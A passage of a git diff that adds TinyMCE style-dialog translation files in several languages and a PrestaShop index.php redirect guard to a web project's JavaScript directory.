+tinyMCE.addI18n('he.style_dlg',{"text_lineheight":"\u05d2\u05d5\u05d1\u05d4 \u05e9\u05d5\u05e8\u05d4","text_variant":"\u05de\u05e9\u05ea\u05e0\u05d4","text_style":"\u05e1\u05d2\u05e0\u05d5\u05df","text_weight":"\u05e2\u05d5\u05d1\u05d9","text_size":"\u05d2\u05d5\u05d3\u05dc","text_font":"\u05e4\u05d5\u05e0\u05d8","text_props":"\u05d8\u05e7\u05e1\u05d8","positioning_tab":"\u05de\u05d9\u05e7\u05d5\u05dd","list_tab":"\u05e8\u05e9\u05d9\u05de\u05d4","border_tab":"\u05d2\u05d1\u05d5\u05dc","box_tab":"\u05e7\u05d5\u05e4\u05e1\u05d0","block_tab":"\u05d7\u05e1\u05d5\u05dd","background_tab":"\u05e8\u05e7\u05e2","text_tab":"\u05d8\u05e7\u05e1\u05d8",apply:"\u05d4\u05d7\u05dc",title:"\u05e2\u05d3\u05db\u05d5\u05df \u05d4\u05d2\u05d3\u05e8\u05d5\u05ea CSS",clip:"\u05e7\u05dc\u05d9\u05e4",placement:"\u05de\u05d9\u05e7\u05d5\u05dd",overflow:"\u05d2\u05dc\u05d9\u05e9\u05d4",zindex:"Z-index",visibility:"\u05e8\u05d0\u05d5\u05ea","positioning_type":"\u05e1\u05d5\u05d2",position:"\u05de\u05d9\u05e7\u05d5\u05dd","bullet_image":"\u05ea\u05de\u05d5\u05e0\u05ea \u05ea\u05d1\u05dc\u05d9\u05d8","list_type":"\u05e1\u05d5\u05d2",color:"\u05e6\u05d1\u05e2",height:"\u05d2\u05d5\u05d1\u05d4",width:"\u05e8\u05d5\u05d7\u05d1",style:"\u05e1\u05d2\u05e0\u05d5\u05df",margin:"\u05e9\u05d5\u05dc\u05d9\u05d9\u05dd",left:"\u05e9\u05de\u05d0\u05dc",bottom:"\u05ea\u05d7\u05ea\u05d9\u05ea",right:"\u05d9\u05de\u05d9\u05df",top:"\u05e2\u05dc\u05d9\u05d5\u05df",same:"\u05d0\u05d5\u05ea\u05d5 \u05d3\u05d1\u05e8 \u05e2\u05d1\u05d5\u05e8 \u05db\u05d5\u05dc\u05dd",padding:"\u05e8\u05d9\u05e4\u05d5\u05d3","box_clear":"\u05e0\u05e7\u05d4","box_float":"\u05d4\u05e6\u05e4\u05d4","box_height":"\u05d2\u05d5\u05d1\u05d4","box_width":"\u05e8\u05d5\u05d7\u05d1","block_display":"\u05d4\u05e6\u05d2","block_whitespace":"\u05e8\u05d5\u05d5\u05d7","block_text_indent":"\u05d4\u05d6\u05d7\u05d4","block_text_align":"\u05d9\u05d9\u05e9\u05d5\u05e8 \u05d8\u05e7\u05e1\u05d8","block_vertical_alignment":"\u05d9\u05d9\u05e9\u05d5\u05e8 \u05d0\u05e0\u05db\u05d9","block_letterspacing":"\u05de\u05e8\u05d7\u05e7 \u05d1\u05d9\u05df \u05d0\u05d5\u05ea\u05d9\u05d5\u05ea","block_wordspacing":"\u05de\u05e8\u05d7\u05e7 \u05d1\u05d9\u05df \u05de\u05d9\u05dc\u05d9\u05dd","background_vpos":"\u05de\u05d9\u05e7\u05d5\u05dd \u05e8\u05d5\u05d7\u05d1\u05d9","background_hpos":"\u05de\u05d9\u05e7\u05d5\u05dd \u05d0\u05d5\u05e4\u05e7\u05d9","background_attachment":"\u05e7\u05d1\u05e6\u05d9\u05dd \u05de\u05e6\u05d5\u05e8\u05e4\u05d9\u05dd","background_repeat":"\u05d7\u05d6\u05d5\u05e8","background_image":"\u05ea\u05de\u05d5\u05e0\u05ea \u05e8\u05e7\u05e2","background_color":"\u05e6\u05d1\u05e2 \u05e8\u05e7\u05e2","text_none":"\u05dc\u05dc\u05d0","text_blink":"\u05d4\u05d1\u05d4\u05d5\u05d1","text_case":"Case","text_striketrough":"\u05e7\u05d5 \u05d7\u05d5\u05e6\u05d4","text_underline":"\u05e9\u05d5\u05e8\u05d4 \u05de\u05ea\u05d7\u05ea","text_overline":"\u05e9\u05d5\u05e8\u05d4 \u05de\u05e2\u05dc","text_decoration":"\u05e2\u05d9\u05e6\u05d5\u05d1","text_color":"\u05e6\u05d1\u05e2",text:"\u05d8\u05e7\u05e1\u05d8",background:"\u05e8\u05e7\u05e2",block:"\u05d1\u05dc\u05d5\u05e7",box:"\u05ea\u05d9\u05d1\u05d4",border:"\u05d2\u05d1\u05d5\u05dc",list:"\u05e8\u05e9\u05d9\u05de\u05d4"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/hu_dlg.js b/js/tiny_mce/plugins/style/langs/hu_dlg.js new file mode 100755 index 0000000..b60f3f7 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.style_dlg',{"text_lineheight":"Sormagass\u00e1g","text_variant":"V\u00e1ltozat","text_style":"St\u00edlus","text_weight":"Sz\u00e9less\u00e9g","text_size":"M\u00e9ret","text_font":"Bet\u0171t\u00edpus","text_props":"Sz\u00f6veg","positioning_tab":"Poz\u00edci\u00f3","list_tab":"Lista","border_tab":"Keret","box_tab":"Doboz","block_tab":"Blokk","background_tab":"H\u00e1tt\u00e9r","text_tab":"Sz\u00f6veg",apply:"Alkalmaz",title:"CSS st\u00edlus szerkest\u00e9se",clip:"Lev\u00e1g\u00e1s",placement:"Elhelyez\u00e9s",overflow:"Kifut\u00e1s",zindex:"Z-index",visibility:"L\u00e1that\u00f3s\u00e1g","positioning_type":"T\u00edpus",position:"Poz\u00edci\u00f3","bullet_image":"Elemk\u00e9p","list_type":"T\u00edpus",color:"Sz\u00edn",height:"Magass\u00e1g",width:"Sz\u00e9less\u00e9g",style:"St\u00edlus",margin:"Marg\u00f3",left:"Balra",bottom:"Lent",right:"Jobbra",top:"Fel\u00fcl",same:"Mindenhol ugyanaz",padding:"Bels\u0151 marg\u00f3","box_clear":"Lebeg\u00e9s (float) t\u00f6rl\u00e9se","box_float":"Lebeg\u00e9s (float)","box_height":"Magass\u00e1g","box_width":"Sz\u00e9less\u00e9g","block_display":"Megjelen\u00edt\u00e9s","block_whitespace":"T\u00e9rk\u00f6z","block_text_indent":"Sz\u00f6veg beh\u00faz\u00e1sa","block_text_align":"Sz\u00f6veg igaz\u00edt\u00e1sa","block_vertical_alignment":"F\u00fcgg\u0151leges igaz\u00edt\u00e1s","block_letterspacing":"Bet\u0171t\u00e1vols\u00e1g","block_wordspacing":"Sz\u00f3t\u00e1vols\u00e1g","background_vpos":"F\u00fcgg\u0151leges hely","background_hpos":"V\u00edzszintes hely","background_attachment":"Csatolm\u00e1ny","background_repeat":"Ism\u00e9tl\u00e9s","background_image":"H\u00e1tt\u00e9rk\u00e9p","background_color":"H\u00e1tt\u00e9rsz\u00edn","text_none":"egyik sem","text_blink":"villog\u00e1s","text_case":"eset","text_striketrough":"\u00e1th\u00fazott","text_underline":"al\u00e1h\u00fazott","text_overline":"fel\u00fclh\u00fazott","text_decoration":"dekor\u00e1ci\u00f3","text_color":"sz\u00edn",text:"Sz\u00f6veg",background:"H\u00e1tt\u00e9r",block:"Blokk",box:"Doboz",border:"Keret",list:"Lista"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/id_dlg.js b/js/tiny_mce/plugins/style/langs/id_dlg.js new file mode 100755 index 0000000..b8862d6 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.style_dlg',{"text_lineheight":"Line height","text_variant":"Variant","text_style":"Style","text_weight":"Weight","text_size":"Size","text_font":"Font","text_props":"Text","positioning_tab":"Positioning","list_tab":"List","border_tab":"Border","box_tab":"Box","block_tab":"Block","background_tab":"Background","text_tab":"Text",apply:"Apply",title:"Edit CSS Style",clip:"Clip",placement:"Placement",overflow:"Overflow",zindex:"Z-index",visibility:"Visibility","positioning_type":"Type",position:"Position","bullet_image":"Bullet image","list_type":"Type",color:"Color",height:"Height",width:"Width",style:"Style",margin:"Margin",left:"Left",bottom:"Bottom",right:"Right",top:"Top",same:"Same for all",padding:"Padding","box_clear":"Clear","box_float":"Float","box_height":"Height","box_width":"Width","block_display":"Display","block_whitespace":"Whitespace","block_text_indent":"Text indent","block_text_align":"Text align","block_vertical_alignment":"Vertical alignment","block_letterspacing":"Letter spacing","block_wordspacing":"Word spacing","background_vpos":"Vertical position","background_hpos":"Horizontal position","background_attachment":"Attachment","background_repeat":"Repeat","background_image":"Background image","background_color":"Background color","text_none":"none","text_blink":"blink","text_case":"Case","text_striketrough":"strikethrough","text_underline":"underline","text_overline":"overline","text_decoration":"Decoration","text_color":"Color",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/index.php b/js/tiny_mce/plugins/style/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/style/langs/it_dlg.js b/js/tiny_mce/plugins/style/langs/it_dlg.js new file mode 100755 index 0000000..401b727 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.style_dlg',{"text_lineheight":"Altezza linea","text_variant":"Variante","text_style":"Stile","text_weight":"Spessore","text_size":"Dimensione","text_font":"Carattere","text_props":"Testo","positioning_tab":"Posizionamento","list_tab":"Liste","border_tab":"Bordi","box_tab":"Contenitore","block_tab":"Blocco","background_tab":"Sfondo","text_tab":"Testo",apply:"Applica",title:"Modifica stile CSS",clip:"Clip",placement:"Piazzamento",overflow:"Overflow",zindex:"Z-index",visibility:"Visibilit\u00e0","positioning_type":"Tipo",position:"Posizione","bullet_image":"Immagine Punto","list_type":"Tipo",color:"Colore",height:"Altezza",width:"Larghezza",style:"Stile",margin:"Margine",left:"Sinistro",bottom:"Inferiore",right:"Destro",top:"Superiore",same:"Uguale per tutti",padding:"Spazio dal bordo","box_clear":"Pulito","box_float":"Fluttuante","box_height":"Altezza","box_width":"Larghezza","block_display":"Visualizzazione","block_whitespace":"Whitespace","block_text_indent":"Indentazione testo","block_text_align":"Allineamento testo","block_vertical_alignment":"Allineamento verticale","block_letterspacing":"Spaziatura caratteri","block_wordspacing":"Spaziatura parole","background_vpos":"Posizione verticale","background_hpos":"Posizione orizzontale","background_attachment":"Allegato","background_repeat":"Repetizione","background_image":"Immagine sfondo","background_color":"Colore sfondo","text_none":"nessuna","text_blink":"lampeggiante","text_case":"Tipo","text_striketrough":"barrato","text_underline":"sottolineato","text_overline":"sopralineato","text_decoration":"Decorazione","text_color":"Colore",text:"Testo",background:"Sfondo",block:"Blocco",box:"Box",border:"Bordo",list:"Lista"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/ja_dlg.js b/js/tiny_mce/plugins/style/langs/ja_dlg.js new file mode 100755 index 0000000..2eb9c3d --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.style_dlg',{"text_lineheight":"\u884c\u306e\u9ad8\u3055","text_variant":"\u5909\u5f62","text_style":"\u30b9\u30bf\u30a4\u30eb","text_weight":"\u592a\u3055","text_size":"\u30b5\u30a4\u30ba","text_font":"\u30d5\u30a9\u30f3\u30c8","text_props":"\u30c6\u30ad\u30b9\u30c8","positioning_tab":"\u4f4d\u7f6e","list_tab":"\u30ea\u30b9\u30c8","border_tab":"\u67a0\u7dda","box_tab":"\u30dc\u30c3\u30af\u30b9","block_tab":"\u30d6\u30ed\u30c3\u30af","background_tab":"\u80cc\u666f","text_tab":"\u6587\u5b57",apply:"\u9069\u7528",title:"CSS\u306e\u30b9\u30bf\u30a4\u30eb\u3092\u7de8\u96c6",clip:"\u5207\u308a\u629c\u304d",placement:"\u914d\u7f6e",overflow:"\u30aa\u30fc\u30d0\u30fc\u30d5\u30ed\u30fc",zindex:"Z-index",visibility:"\u8868\u793a","positioning_type":"\u914d\u7f6e\u65b9\u6cd5",position:"\u8868\u793a\u4f4d\u7f6e","bullet_image":"\u30de\u30fc\u30ab\u30fc\u753b\u50cf","list_type":"\u30de\u30fc\u30ab\u30fc\u7a2e\u985e",color:"\u8272",height:"\u9ad8\u3055",width:"\u5e45",style:"\u30b9\u30bf\u30a4\u30eb",margin:"\u30de\u30fc\u30b8\u30f3",left:"\u5de6",bottom:"\u4e0b",right:"\u53f3",top:"\u4e0a",same:"\u3059\u3079\u3066\u540c\u3058",padding:"\u30d1\u30c7\u30a3\u30f3\u30b0","box_clear":"\u56de\u308a\u8fbc\u307f\u89e3\u9664","box_float":"\u56de\u308a\u8fbc\u307f","box_height":"\u9ad8\u3055","box_width":"\u5e45","block_display":"\u30c7\u30a3\u30b9\u30d7\u30ec\u30a4","block_whitespace":"\u7a7a\u767d\u6587\u5b57","block_text_indent":"\u30c6\u30ad\u30b9\u30c8\u306e\u5b57\u4e0b\u3052","block_text_align":"\u30c6\u30ad\u30b9\u30c8\u306e\u6c34\u5e73\u914d\u7f6e","block_vertical_alignment":"\u5782\u76f4\u914d\u7f6e","block_letterspacing":"\u6587\u5b57\u9593\u9694","block_wordspacing":"\u5358\u8a9e\u9593\u9694","background_vpos":"\u5782\u76f4\u4f4d\u7f6e","background_hpos":"\u6c34\u5e73\u4f4d\u7f6e","background_attachment":"\u6dfb\u4ed8","background_repeat":"\u7e70\u308a\u8fd4\u3057","background_image":"\u80cc\u666f\u753b\u50cf","background_color":"\u80cc\u666f\u8272","text_none":"\u306a\u3057","text_blink":"\u70b9\u6ec5","text_case":"\u5927\u6587\u5b57/\u5c0f\u6587\u5b57","text_striketrough":"\u6253\u6d88\u3057\u7dda","text_underline":"\u4e0b\u7dda","text_overline":"\u4e0a\u7dda","text_decoration":"\u88c5\u98fe","text_color":"\u8272",text:"\u6587\u5b57",background:"\u80cc\u666f",block:"\u30d6\u30ed\u30c3\u30af",box:"\u30dc\u30c3\u30af\u30b9",border:"\u67a0\u7dda",list:"\u30ea\u30b9\u30c8"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/ka_dlg.js b/js/tiny_mce/plugins/style/langs/ka_dlg.js new file mode 100755 index 0000000..442f54e --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.style_dlg',{"text_lineheight":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10e1\u10d8\u10db\u10d0\u10e6\u10da\u10d4","text_variant":"\u10d5\u10d0\u10e0\u10d8\u10d0\u10dc\u10e2\u10d8","text_style":"\u10e1\u10e2\u10d8\u10da\u10d8","text_weight":"\u10e1\u10d8\u10e1\u10e5\u10d4","text_size":"\u10d6\u10dd\u10db\u10d0","text_font":"\u10e8\u10e0\u10d8\u10e4\u10e2\u10d8","text_props":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8","positioning_tab":"\u10de\u10dd\u10d6\u10d8\u10ea\u10d8\u10dd\u10dc\u10d8\u10e0\u10d4\u10d1\u10d0","list_tab":"\u10e1\u10d8\u10d0","border_tab":"\u10e1\u10d0\u10d6\u10e6\u10d5\u10d0\u10e0\u10d8","box_tab":"\u10d9\u10d8\u10d3\u10d4\u10d4\u10d1\u10d8","block_tab":"\u10d1\u10da\u10dd\u10d9\u10d8","background_tab":"\u10e4\u10dd\u10dc\u10d8","text_tab":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8",apply:"\u10d2\u10d0\u10db\u10dd\u10d5\u10d8\u10e7\u10d4\u10dc\u10dd\u10d7",title:"CSS \u10e1\u10e2\u10d8\u10da\u10d8\u10e1 \u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10dd\u10e0\u10d8",clip:"\u10db\u10dd\u10d9\u10d5\u10d4\u10d7\u10d0",placement:"\u10d2\u10d0\u10dc\u10d7\u10d0\u10d5\u10e1\u10d4\u10d1\u10d0",overflow:"\u10d2\u10d0\u10d3\u10d0\u10d5\u10e1\u10d4\u10d1\u10d0",zindex:"Z-\u10d8\u10dc\u10d3\u10d4\u10e5\u10e1\u10d8",visibility:"\u10ee\u10d8\u10da\u10d5\u10d0\u10d3\u10dd\u10d1\u10d0","positioning_type":"\u10e2\u10d8\u10de\u10d8",position:"\u10de\u10dd\u10d6\u10d8\u10ea\u10d8\u10d0","bullet_image":"\u10db\u10d0\u10e0\u10d9\u10d4\u10e0\u10d8","list_type":"\u10e2\u10d8\u10de\u10d8",color:"\u10e4\u10d4\u10e0\u10d8",height:"\u10e1\u10d8\u10db\u10d0\u10e6\u10da\u10d4",width:"\u10e1\u10d8\u10d2\u10d0\u10dc\u10d4",style:"\u10e1\u10e2\u10d8\u10da\u10d8",margin:"\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0",left:"\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5",bottom:"\u10e5\u10d5\u10d4\u10db\u10dd\u10d7",right:"\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5",top:"\u10d6\u10d4\u10db\u10dd\u10d7",same:"\u10e7\u10d5\u10d4\u10da\u10d0\u10e1\u10d7\u10d5\u10d8\u10e1 \u10d4\u10e0\u10d7\u10dc\u10d0\u10d4\u10e0\u10d0\u10d3",padding:"\u10db\u10d8\u10dc\u10d3\u10d5\u10e0\u10d4\u10d1\u10d8","box_clear":"\u10db\u10dd\u10e1\u10e3\u10e4\u10d7\u10d0\u10d5\u10d4\u10d1\u10d0","box_float":"\u10db\u10dd\u10ea\u10e3\u10e0\u10d0\u10d5\u10d4","box_height":"\u10e1\u10d8\u10db\u10d0\u10e6\u10da\u10d4","box_width":"\u10e1\u10d8\u10d2\u10d0\u10dc\u10d4","block_display":"\u10d0\u10e1\u10d0\u10ee\u10d5\u10d0","block_whitespace":"\u10e1\u10d8\u10d5\u10e0\u10ea\u10d4","block_text_indent":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0","block_text_align":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0","block_vertical_alignment":"\u10d5\u10d4\u10e0\u10e2\u10d8\u10d9\u10d0\u10da\u10e3\u10e0\u10d8 \u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0","block_letterspacing":"\u10d0\u10e1\u10dd\u10d4\u10d1\u10e1 \u10e8\u10dd\u10e0\u10d8\u10e1 \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0","block_wordspacing":"\u10e1\u10d8\u10e2\u10e7\u10d5\u10d4\u10d1\u10e1 \u10e8\u10dd\u10e0\u10d8\u10e1 \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0","background_vpos":"\u10d5\u10d4\u10e0\u10e2\u10d8\u10d9\u10d0\u10da\u10e3\u10e0\u10d8 \u10de\u10dd\u10d6\u10d8\u10ea\u10d8\u10d0","background_hpos":"\u10f0\u10dd\u10e0\u10d8\u10d6\u10dd\u10dc\u10e2\u10d0\u10da\u10e3\u10e0\u10d8 \u10de\u10dd\u10d6\u10d8\u10ea\u10d8\u10d0","background_attachment":"\u10db\u10d8\u10d1\u10db\u10d0","background_repeat":"\u10d2\u10d0\u10db\u10d4\u10dd\u10e0\u10d4\u10d1\u10d0","background_image":"\u10e4\u10dd\u10dc\u10d8\u10e1 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d0","background_color":"\u10e4\u10dd\u10dc\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8","text_none":"\u10e7\u10d5\u10d4\u10da\u10d0\u10e4\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4","text_blink":"\u10db\u10dd\u10ea\u10d8\u10db\u10ea\u10d8\u10db\u10d4","text_case":"\u10e0\u10d4\u10d2\u10d8\u10e1\u10e2\u10e0\u10d8","text_striketrough":"\u10d2\u10d0\u10d3\u10d0\u10ee\u10d0\u10d6\u10e3\u10da\u10d8","text_underline":"\u10db\u10dd\u10ee\u10d0\u10d6\u10e3\u10da\u10d8","text_overline":"\u10d6\u10d4\u10d3\u10d0 \u10ee\u10d0\u10d6\u10d8\u10d7","text_decoration":"\u10d2\u10d0\u10e4\u10dd\u10e0\u10db\u10d4\u10d1\u10d0","text_color":"\u10e4\u10d4\u10e0\u10d8",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/ko_dlg.js b/js/tiny_mce/plugins/style/langs/ko_dlg.js new file mode 100755 index 0000000..2a7166b --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.style_dlg',{"text_lineheight":"\ud589 \ub192\uc774","text_variant":"Variant","text_style":"\uc2a4\ud0c0\uc77c","text_weight":"\uad75\uae30","text_size":"\ud06c\uae30","text_font":"\uae00\uaf34","text_props":"\ud14d\uc2a4\ud2b8","positioning_tab":"\uc704\uce58","list_tab":"\ub9ac\uc2a4\ud2b8","border_tab":"\ud14c\ub450\ub9ac\uc120","box_tab":"\ubc15\uc2a4","block_tab":"\ube14\ub85d","background_tab":"\ubc30\uacbd","text_tab":"\ud14d\uc2a4\ud2b8",apply:"\uc801\uc6a9",title:"CSS \ud3b8\uc9d1",clip:"Clip",placement:"\uc704\uce58(placement)",overflow:"\uc624\ubc84\ud50c\ub85c\uc6b0",zindex:"Z-index",visibility:"\uac00\uc2dc\uc131","positioning_type":"\ud0c0\uc785",position:"\uc704\uce58","bullet_image":"\ube14\ub9bf \uc774\ubbf8\uc9c0","list_type":"\ubaa9\ub85d\uc885\ub958",color:"\uc0c9",height:"\ub192\uc774",width:"\ud3ed",style:"\uc2a4\ud0c0\uc77c",margin:"\ub9c8\uc9c4",left:"\uc88c",bottom:"\ud558",right:"\uc6b0",top:"\uc0c1",same:"\ubaa8\ub450 \ub611\uac19\uc774",padding:"padding","box_clear":"Clear","box_float":"float","box_height":"\ub192\uc774","box_width":"\ud3ed","block_display":"\ud45c\uc2dc","block_whitespace":"\uacf5\ubc31 \ubb38\uc790","block_text_indent":"\ub4e4\uc5ec\uc4f0\uae30","block_text_align":"\uc88c\uc6b0 \ub9de\ucda4","block_vertical_alignment":"\uc138\ub85c \ub9de\ucda4","block_letterspacing":"\ubb38\uc790 \uac04\uaca9","block_wordspacing":"\ub2e8\uc5b4 \uac04\uaca9","background_vpos":"\uc138\ub85c \uc704\uce58","background_hpos":"\uac00\ub85c \uc704\uce58","background_attachment":"\ucca8\ubd80","background_repeat":"\ubc18\ubcf5","background_image":"\ubc30\uacbd \uc774\ubbf8\uc9c0","background_color":"\ubc30\uacbd\uc0c9","text_none":"\uc5c6\uc74c","text_blink":"\uc810\uba78","text_case":"\ub300/\uc18c\ubb38\uc790","text_striketrough":"\ucde8\uc18c\uc120","text_underline":"\ubc11\uc904","text_overline":"\uc717\uc904","text_decoration":"\uc7a5\uc2dd","text_color":"\uc0c9",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/lt_dlg.js b/js/tiny_mce/plugins/style/langs/lt_dlg.js new file mode 100755 index 0000000..c8bc042 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.style_dlg',{"text_lineheight":"Eilut\u0117s auk\u0161tis","text_variant":"Variantas","text_style":"Stilius","text_weight":"Storis","text_size":"Dydis","text_font":"\u0160riftas","text_props":"Tekstas","positioning_tab":"Pozicionavimas","list_tab":"S\u0105ra\u0161as","border_tab":"R\u0117melis","box_tab":"D\u0117\u017eut\u0117","block_tab":"Blokas","background_tab":"Fonas","text_tab":"Tekstas",apply:"Taikyti",title:"Redaguoti CSS stili\u0173",clip:"\u012era\u0161as",placement:"Talpinimas",overflow:"Perpildymas",zindex:"Z-indeksas",visibility:"Matomumas","positioning_type":"Tipas",position:"Pozicija","bullet_image":"\u017denklelio paveiksl\u0117lis","list_type":"Tipas",color:"Spalva",height:"Auk\u0161tis",width:"Ilgis",style:"Stilius",margin:"Para\u0161t\u0117",left:"Kair\u0117je",bottom:"Apa\u010dioje",right:"De\u0161in\u0117je",top:"Vir\u0161uje",same:"Tas pats visiems",padding:"U\u017epildymas","box_clear":"I\u0161valyti","box_float":"Slankus","box_height":"Auk\u0161tis","box_width":"Ilgis","block_display":"Rodymas","block_whitespace":"Tarpai","block_text_indent":"Teksto atitraukimas","block_text_align":"Teksto lygiavimas","block_vertical_alignment":"Vertikalus lygiavimas","block_letterspacing":"Tarpai tarp raid\u017ei\u0173","block_wordspacing":"Tarpai tarp \u017eod\u017ei\u0173","background_vpos":"Vertikali pozicija","background_hpos":"Horizontali pozicija","background_attachment":"Priedas","background_repeat":"Kartoti","background_image":"Fono paveiksl\u0117lis","background_color":"Fono spalva","text_none":"joks","text_blink":"mirks\u0117jimas","text_case":"Ma\u017eosios/did\u017eiosios raid\u0117s","text_striketrough":"perbraukta","text_underline":"pabraukta apa\u010dioje","text_overline":"pabraukta vir\u0161uje","text_decoration":"Dekoracija","text_color":"Spalva",text:"Tekstas",background:"Fonas",block:"Blokuoti",box:"D\u0117\u017e\u0117",border:"Siena",list:"\u0160\u0105ra\u0161as"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/nl_dlg.js b/js/tiny_mce/plugins/style/langs/nl_dlg.js new file mode 100755 index 0000000..ad81f8f --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.style_dlg',{"text_lineheight":"Lijnhoogte","text_variant":"Variant","text_style":"Stijl","text_weight":"Gewicht","text_size":"Tekengrootte","text_font":"Lettertype","text_props":"Tekst","positioning_tab":"Positionering","list_tab":"Lijst","border_tab":"Rand","box_tab":"Box","block_tab":"Blok","background_tab":"Achtergrond","text_tab":"Tekst",apply:"Toepassen",title:"CSS Stijl bewerken",clip:"Clip",placement:"Plaatsing",overflow:"Overvloeien",zindex:"Z-index",visibility:"Zichtbaarheid","positioning_type":"Type",position:"Positie","bullet_image":"Opsommingsteken","list_type":"Type",color:"Kleur",height:"Hoogte",width:"Breedte",style:"Stijl",margin:"Marge",left:"Links",bottom:"Onder",right:"Rechts",top:"Boven",same:"Alles hetzelfde",padding:"Opening","box_clear":"Vrijhouden","box_float":"Zweven","box_height":"Hoogte","box_width":"Breedte","block_display":"Weergave","block_whitespace":"Witruimte","block_text_indent":"Inspringen","block_text_align":"Tekstuitlijning","block_vertical_alignment":"Verticale uitlijning","block_letterspacing":"Letterruimte","block_wordspacing":"Woordruimte","background_vpos":"Verticale positie","background_hpos":"Horizontale positie","background_attachment":"Bijlage","background_repeat":"Herhalen","background_image":"Achtergrondafbeelding","background_color":"Achtergrondkleur","text_none":"Niets","text_blink":"Knipperen","text_case":"Hoofdlettergebruik","text_striketrough":"Doorhalen","text_underline":"Onderstrepen","text_overline":"Overhalen","text_decoration":"Decoratie","text_color":"Kleur",text:"Tekst",background:"Achtergrond",block:"Blok",box:"Box",border:"Rand",list:"Lijst"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/no_dlg.js b/js/tiny_mce/plugins/style/langs/no_dlg.js new file mode 100755 index 0000000..5591c2f --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.style_dlg',{"text_lineheight":"Linjeh\u00f8yde","text_variant":"Variant","text_style":"Skriftstil","text_weight":"Skriftvekt","text_size":"Skriftst\u00f8rrelse","text_font":"Skrifttype","text_props":"Tekst","positioning_tab":"Posisjon","list_tab":"Liste","border_tab":"Ramme","box_tab":"Boks","block_tab":"Blokk","background_tab":"Bakgrunn","text_tab":"Tekst",apply:"Bruk",title:"Rediger CSS-stil",clip:"Klipp",placement:"Plassering",overflow:"Overfylt",zindex:"Z-indeks",visibility:"Synlighet","positioning_type":"Type",position:"Posisjon","bullet_image":"Punkt bilde","list_type":"Type",color:"Farge",height:"H\u00f8yde",width:"Bredde",style:"Stil",margin:"Marg",left:"Venstre",bottom:"Bunn",right:"H\u00f8yre",top:"Topp",same:"Likt for alle",padding:"Utfylling","box_clear":"Slette","box_float":"Flytende","box_height":"H\u00f8yde","box_width":"Bredde","block_display":"Visning","block_whitespace":"Mellomrom","block_text_indent":"Innrykk","block_text_align":"Justering","block_vertical_alignment":"Vertikal justering","block_letterspacing":"Bokstav mellomrom","block_wordspacing":"Mellomrom","background_vpos":"Vertikal posisjon","background_hpos":"Horisontal posisjon","background_attachment":"Vedlegg","background_repeat":"Repetere","background_image":"Bakgrunnsbilde","background_color":"Bakgrunnsfarge","text_none":"Ingen","text_blink":"Blinke","text_case":"Store/sm\u00e5 bokstaver","text_striketrough":"Gjennomstreke","text_underline":"Senke skrift","text_overline":"Heve 